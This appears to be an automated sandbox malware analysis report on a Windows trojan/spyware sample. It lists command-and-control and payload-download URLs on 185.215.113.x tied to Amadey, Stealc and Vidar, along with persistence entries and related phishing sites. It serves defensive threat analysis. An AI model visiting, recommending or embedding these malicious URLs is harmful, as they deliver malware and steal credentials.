http://185.215.113.16/steam/random.exe:aB	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phptch	100%	Avira URL Cloud	phishing
https://msn.com	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpJ	100%	Avira URL Cloud	phishing
http://185.215.113.16/well/random.exel	100%	Avira URL Cloud	phishing
https://docs.google.com/	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.19/fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#2	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phptch	3%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpq	100%	Avira URL Cloud	phishing
http://185.215.113.16/well/random.exel	20%	Virustotal		Browse
https://msn.com	0%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php	24%	Virustotal		Browse
http://185.215.113.19/d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49##o	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.phpO	100%	Avira URL Cloud	malware
https://docs.google.com/	0%	Virustotal		Browse
http://185.215.113.19/Local	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpq	3%	Virustotal		Browse
https://drive.google.com/	0%	Avira URL Cloud	safe
http://185.215.113.100/F	100%	Avira URL Cloud	malware
http://185.215.113.19/d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49##o	19%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpO	7%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpd	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpJ	3%	Virustotal		Browse
http://185.215.113.19/Local	16%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpc	100%	Avira URL Cloud	phishing
http://185.215.113.100/ws	100%	Avira URL Cloud	malware
https://drive.google.com/	0%	Virustotal		Browse
http://185.215.113.100/T	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpC	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpc	19%	Virustotal		Browse
https://myaccount.google.com/signinoptions/passwordC:	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpd	24%	Virustotal		Browse
https://www.office.com/	0%	Avira URL Cloud	safe
http://185.215.113.100/ws	7%	Virustotal		Browse
http://185.215.113.100/T	12%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php)	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.php/	100%	Avira URL Cloud	malware
http://185.215.113.19/	100%	Avira URL Cloud	phishing
https://www.office.com/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.100/F	15%	Virustotal		Browse
http://185.215.113.16/well/random.exe	25%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpNA	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.php/	7%	Virustotal		Browse
https://www.office.com/Office	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpcd	100%	Avira URL Cloud	phishing
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.19/	19%	Virustotal		Browse
http://185.215.113.19/D	100%	Avira URL Cloud	phishing
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe	24%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpC	7%	Virustotal		Browse
http://185.215.113.100/w	100%	Avira URL Cloud	malware
http://185.215.113.100%D	0%	Avira URL Cloud	safe
https://www.google.com/chrome	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php53001	100%	Avira URL Cloud	phishing
http://185.215.113.19/D	23%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpls	100%	Avira URL Cloud	phishing
https://www.google.com/favicon.ico	0%	Virustotal		Browse
https://clients2.googleusercontent.com	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php#	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpML	100%	Avira URL Cloud	malware
http://185.215.113.100/w	11%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php&	100%	Avira URL Cloud	phishing
https://chrome.google.com/webstore/	0%	Avira URL Cloud	safe
https://clients2.googleusercontent.com/crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	0%, Virustotal, Browse	unknown
s-part-0045.t-0009.t-msedge.net	13.107.246.73	true	false	0%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	142.250.185.129	true	false	0%, Virustotal, Browse	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	0%, Virustotal, Browse	unknown
s-part-0029.t-0009.t-msedge.net	13.107.246.57	true	false	0%, Virustotal, Browse	unknown
clients2.googleusercontent.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
bzib.nelreports.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.16/steam/random.exe	false	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.google.com/favicon.ico	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chrome.cloudflare-dns.com/dns-query	false	URL Reputation: safe	unknown
https://clients2.googleusercontent.com/crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Web Data.10.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Web Data.10.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://msn.com	data_10.11.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe:aB	explorti.exe, 00000002.00000002.4100913919.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/well/random.exel	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Web Data.10.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpJ	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phptch	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://docs.google.com/	manifest.json0.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.19/fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#2	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpq	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49##o	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.phpO	86cd2764f3.exe, 00000003.00000002.1801528450.0000000001679000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Local	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://drive-staging.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.100	86cd2764f3.exe, 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://drive.google.com/	manifest.json0.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/F	86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Web Data.10.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpd	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpc	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/ws	ada2950f18.exe, 00000004.00000002.1923054820.000000000119F000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/T	86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpC	86cd2764f3.exe, 00000003.00000002.1801528450.0000000001679000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://myaccount.google.com/signinoptions/passwordC:	9963a8aba7.exe, 00000006.00000002.4097947899.0000000000390000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/	Top Sites.10.dr, Top Sites.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chrome.cloudflare-dns.com	Network Persistent State0.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php)	86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exe	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.php/	86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Web Data.10.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpNA	ada2950f18.exe, 00000004.00000002.1923054820.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
https://drive-autopush.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Web Data.10.dr	false	URL Reputation: safe	unknown
https://www.office.com/Office	Top Sites.10.dr, Top Sites.19.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phpcd	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/D	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/w	ada2950f18.exe, 00000004.00000002.1923054820.0000000001185000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100%D	86cd2764f3.exe, 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL0.11.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome	content_new.js.19.dr, content.js.19.dr	false	Avira URL Cloud: safe	unknown
https://drive-daily-6.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
https://drive-daily-0.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.php53001	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://chromewebstore.google.com/	manifest.json.19.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpls	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://clients2.googleusercontent.com	40d68cff-b04e-4ac4-b59e-005288c2643f.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.php#	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpML	ada2950f18.exe, 00000004.00000002.1923054820.000000000119F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php&	explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://chrome.google.com/webstore/	manifest.json.19.dr	false	Avira URL Cloud: safe	unknown
https://drive-daily-3.corp.google.com/	manifest.json0.19.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.215.113.100	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.80.110	unknown	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.251.41.14	unknown	United States	15169	GOOGLEUS	false
142.251.40.196	unknown	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.43.85.136	unknown	United States	3257	GTT-BACKBONEGTTDE	false
13.107.246.73	s-part-0045.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.65.174	unknown	United States	15169	GOOGLEUS	false
13.107.246.57	s-part-0029.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502379
Start date and time:	2024-09-01 02:47:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@108/601@28/17
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.16, 142.251.173.84, 204.79.197.239, 13.107.21.239, 13.107.6.158, 125.39.194.1, 2.19.126.152, 2.19.126.145, 192.229.221.95, 142.250.186.163, 142.250.181.227, 2.23.209.133, 2.23.209.130, 2.23.209.182, 2.23.209.149, 20.103.156.88, 142.250.186.46, 142.250.185.106, 172.217.16.202, 172.217.18.10, 142.250.186.138, 216.58.206.42, 142.250.186.106, 216.58.212.138, 142.250.74.202, 216.58.206.74, 142.250.186.74, 142.250.184.202, 142.250.181.234, 142.250.186.42, 172.217.18.106, 142.250.185.74, 172.217.16.138, 142.250.65.163, 142.250.80.35, 142.251.35.163, 142.250.80.67, 142.251.41.3, 142.250.65.195, 142.250.65.227
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, edgeassetservice.afd.azureedge.net, arc.msn.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, iris-de-prod-azsc-v2-weu.westeurope.cloudapp.azure.com, e86303.dscx.akamaiedge.net, clients2.google.com, ocsp.digicert.com, www.bing.com.edgekey.net, config-edge-skype.l-0007.l-msedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, arc.trafficmanager.net, www.gstatic.com, l-0007.l-msedge.net, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, accounts.google.com, bzib.nelreports.net.akamaized.net, fonts.gstatic.com, wildcardtlu-ssl.ec.azureedge.net, ctldl.windowsupdate.com, b-0005.b-msedge.net, www.googleapis.com, www-www.bing.com.trafficmanager.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.delivery.mp.microsoft.com, wildcardtlu-ssl.azureedge.net, l-000
Execution Graph export aborted for target 86cd2764f3.exe, PID 7860 because there are no executed function
Execution Graph export aborted for target ada2950f18.exe, PID 7984 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7492 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7328 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:47:54	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
01:48:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
01:48:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
01:48:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
01:48:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
20:48:01	API Interceptor	14423026x Sleep call for process: explorti.exe modified
20:48:09	API Interceptor	40x Sleep call for process: ada2950f18.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0045.t-0009.t-msedge.net	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.73
	http://www.kraftpaints.ro/eve/pdfonline-3d2-new-bg2/pdfonline-3d2-new.bg2/pdfonline-3d2-newbg2/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
	https://login.ap-financier.com/TaqWmoGv	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
	https://nexgenodisha.in/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
	http://l9sa.github.io/	Get hash	malicious	Unknown	Browse	13.107.246.73
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.73
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.73
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.73
	http://v3r1fy.tdr1v.freemyip.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
s-part-0029.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
sni1gl.wpc.nucdn.net	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
CLOUDFLARENETUS	x64__installer___v4.7.5.msi	Get hash	malicious	Unknown	Browse	104.21.8.81
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://uppholldlgins.mystrikingly.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://danadompetdigital.zesty.my.id/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	172.66.47.41
	http://www.uyapdosyasorgula.com/e-devlet/	Get hash	malicious	Unknown	Browse	172.67.132.127
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	172.66.47.137
	http://telstra-105864.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	172.64.155.119
EDGECASTUS	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
